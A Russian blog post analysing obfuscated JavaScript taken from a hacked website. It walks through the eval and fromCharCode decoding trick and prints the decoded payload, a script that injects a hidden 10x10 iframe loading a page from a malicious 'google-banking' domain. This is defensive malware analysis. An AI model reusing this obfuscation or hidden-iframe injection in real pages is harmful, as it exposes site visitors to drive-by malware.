Скрытие кода, метод 5

Автор: | 7 февраля 2012

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ):

var s = '';
  try { new asd[0]
}
catch (q) {
  if (q) r = 1;
  c = String;
}
if (r && document.createTextNode) t = 2;
e = eval;
m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; // здесь очень длинная строка
mm = c['fro'+'mCharCode'];
for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) );
try {
  document.appendChild( null )
}
catch (q) {
  e( s );
}

На первый взгляд все крайне запутано и сложно, java-скрипты я пишу/читаю редко, поэтому сразу слегка даже растерялся. В причесанном коде выделил понятные места и довел все до понимания.

mm = c['fro'+'mCharCode'];

c – обозначает строку (String), т.е. переменной mm будет присвоена строка fromCharCode и mm будет выполнять роль этой функции.

mm( e( "m" + "[" + "i" + ']') );
// равносильно
String.fromCharCode( eval( "m[i]" ) );

это значит, что все арифметические выражения в массиве m будут подсчитаны, затем коды переведены в символы функцией fromCharCode и посимвольно в цикле внесены в строку s.

Результирующий код для расшифровки:

var s='';
c = String;
e = eval;
t = 2;
m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t];
mm = c['fro'+'mCharCode'];
for (i = 0; i != m.length; i++) {
  s += mm( e( "m" + "[" + "i" + ']') );
//s += String.fromCharCode( eval( "m[i]") ); // то же самое
}
// alert( s );
document.write( "<textarea>" );
document.write( s );
document.write( "</textarea>" );

N.B.

Перед тем, как использовать тег textarea, я проверил содержимое кода функцией alert, т.к. иногда хитрые скриптописатели ставят закрывающий тег </textarea> и код не выводится.

Скрипт вставлял iframe с сайта
google-banking . com/main.php?page=f8a892dc63e25f27

Полный расшифрованный код:

if (document.getElementsByTagName( 'body' )[0]) {
  iframer();
} else {
document.write("<iframe src='http ://google-banking...' width='10' height='10'
style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
  var f = document.createElement( 'iframe' );
  f.setAttribute( 'src', 'http ://google-banking...' );
  f.style.visibility = 'hidden';
  f.style.position = 'absolute';
  f.style.left = '0';
  f.style.top = '0';
  f.setAttribute( 'width', '10' );
  f.setAttribute( 'height', '10' );
  document.getElementsByTagName( 'body' )[0].appendChild( f );
}

Добавить комментарий